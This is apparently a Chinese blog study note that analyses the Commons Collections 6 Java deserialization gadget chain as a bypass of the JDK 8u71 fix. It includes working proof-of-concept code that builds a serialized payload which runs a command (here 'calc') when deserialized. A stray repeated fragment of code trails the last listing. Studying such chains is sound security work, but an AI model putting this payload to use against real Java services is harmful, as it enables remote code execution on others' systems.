前言
在开始前先回顾了一下之前的CommonsCollections1和URLDNS,因为本篇跟之前有一定联系,其次其实也是为了巩固下毕竟已经忘的差不多了。
接上篇,CC1的JDK
版本需要低于8u71
,AnnotationInvocationHandler
类的readObject()
方法在8u71以后逻辑就发生了改变,不能再利用了,所以就需要找一个绕过高版本的利用链—CommonsCollections6
分析
cc1的LazyMap
链:readObject()->invoker()->get()->transform()
,而在8u71之后,readObject发生了变化,所以不能再用之前的方式调用get方法,这时又找到了另外一条链来绕过该版本的限制
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
通过TiedMapEntry.getValue()
调用get()
,其中key的值,可以通过TiedMapEntry
类的构造方法获取,我们要调用的是LazyMap
的get(),所以就需要通过构造器来构造map=Lazymap
先构造一下链,前边跟8u71前是一样的,为了满足map=LazyMap
,需要实例化一个TiedMapEntry
,由于我们用的是map所以这里的map
传的是outerMap
也就相当于传入LazyMap
,这样经过构造方法后,map.get
就变为了LazyMap.get
,而key用不到所以随便传个就行
package CommonsCollections6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"Sentiment1");
}
}
之后再看哪里调用了getValue()
,于是在本类中找到了hashCode()
方法
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
接着找何处调用了hashCode()
,审过urldns链应该就很清楚了,在HashMap类中的hash
方法调用了key.hashCode()
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
接着就是何处调用了hash()
,HashMap类中自己重写了readObject()
方法,在readObject
中调用了hash
return putVal(hash(key), key, value, false, true);
而我们想调用TiedMapEntry.hashCode,所以我们要给key赋值TiedMapEntry
,value的话就随意了,所以就需要通过put传值
hashMap.put(tiedMapEntry,"Sentiemnt");
至此这条链就结束了,顺序也跟ysoserial的一样
所以poc为
package CommonsCollections6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"Sentiment1");
Map hashMap = new HashMap();
hashMap.put(tiedMapEntry,"Sentiemnt2");
}
}
问题一
在运行后发现,还没有进行序列化反序列化 就弹出了计算器,这是因为我们在put修改值得同时,其实就已经调用了hash
方法接着调用hashCode
最终执行了命令
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
所以为了不让他执行,可以将他后边的transformer改成其他无法正产调用的内容,经过put后在改回来即:
Map outerMap == LazyMap.decorate(map, chainedTransformer);
改为
Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
之后就是在调用put后改回来,我们调用这条语句主要是,修改factroy的值
public static Map decorate(Map map, Factory factory) {
return new LazyMap(map, factory);
}
而factory是protect类型的,所以就要通过反射爆破来修改
protected final Transformer factory;
当前poc
package CommonsCollections6;
import com.sun.corba.se.impl.orbutil.ObjectUtility;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"Sentiment1");
Map hashMap = new HashMap();
hashMap.put(tiedMapEntry,"Sentiemnt2");
Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(outerMap,chainedTransformer);
serialize(hashMap);
unserialize("1.txt");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
out.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
Object o = In.readObject();
return o;
}
}
问题二
运行后仍无回显,回去看了一遍,这里key已经有值了,所以绕过了if从而绕过了transform()
所以如果想进入if,就需要把if的key值去掉
outerMap.remove("Sentiment1");
最终poc
package CommonsCollections6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"Sentiment1");
Map hashMap = new HashMap();
hashMap.put(tiedMapEntry,"Sentiemnt2");
outerMap.remove("Sentiment1");
Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(outerMap,chainedTransformer);
serialize(hashMap);
unserialize("1.txt");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
out.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
Object o = In.readObject();
return o;
}
}
out.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
Object o = In.readObject();
return o;
}
}